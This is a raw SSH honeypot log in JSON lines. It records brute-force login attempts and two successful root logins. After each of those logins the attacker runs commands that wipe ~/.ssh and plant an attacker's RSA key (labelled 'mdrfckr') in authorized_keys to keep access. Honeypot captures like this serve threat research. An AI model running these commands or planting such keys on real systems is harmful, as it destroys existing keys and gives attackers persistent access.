{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:34.296647Z","src_ip":"142.93.139.168","session":"ded1d76b125e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karen","password":"password","message":"login attempt [karen/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:34.452474Z","src_ip":"142.93.139.168","session":"ded1d76b125e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:35.531775Z","src_ip":"142.93.139.168","session":"ded1d76b125e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":43244,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9cb92b18dd4","protocol":"ssh","message":"New connection: 159.65.30.211:43244 (10.17.0.5:22) [session: a9cb92b18dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:41.423212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:41.426479Z","src_ip":"159.65.30.211","session":"a9cb92b18dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:41.496952Z","src_ip":"159.65.30.211","session":"a9cb92b18dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stage","password":"stage123","message":"login attempt [stage/stage123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:41.640866Z","src_ip":"159.65.30.211","session":"a9cb92b18dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:42.713849Z","src_ip":"159.65.30.211","session":"a9cb92b18dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":52650,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd7dc8424c0","protocol":"ssh","message":"New connection: 107.150.103.210:52650 (159.203.135.109:22) [session: 7fd7dc8424c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.079972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.084138Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.152212Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Huawei@123#","message":"login attempt [root/Huawei@123#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.454289Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.721659Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.724885Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.728611Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.800113Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.976806Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:07.980412Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:08.054617Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:08.058495Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":61408,"dst_ip":"159.203.135.109","dst_port":22,"session":"298d5d019173","protocol":"ssh","message":"New connection: 107.150.103.210:61408 (159.203.135.109:22) [session: 298d5d019173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:09.122248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:09.126621Z","src_ip":"107.150.103.210","session":"298d5d019173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:09.191930Z","src_ip":"107.150.103.210","session":"298d5d019173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:09.486235Z","src_ip":"107.150.103.210","session":"298d5d019173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:10.555171Z","src_ip":"107.150.103.210","session":"298d5d019173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":36998,"dst_ip":"159.203.135.109","dst_port":22,"session":"277d6d45c002","protocol":"ssh","message":"New connection: 211.106.133.202:36998 (159.203.135.109:22) [session: 277d6d45c002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:12.513283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:12.518080Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:12.727968Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Senha@123","message":"login attempt [root/Senha@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:13.600978Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":32990,"dst_ip":"159.203.135.109","dst_port":22,"session":"20036e1bf096","protocol":"ssh","message":"New connection: 20.244.18.126:32990 (159.203.135.109:22) [session: 20036e1bf096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:13.616469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:13.621538Z","src_ip":"20.244.18.126","session":"20036e1bf096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:13.825815Z","src_ip":"20.244.18.126","session":"20036e1bf096","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.053421Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.056803Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.060956Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.276678Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"radarr","password":"radarr123","message":"login attempt [radarr/radarr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.675754Z","src_ip":"20.244.18.126","session":"20036e1bf096","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.741754Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.745178Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
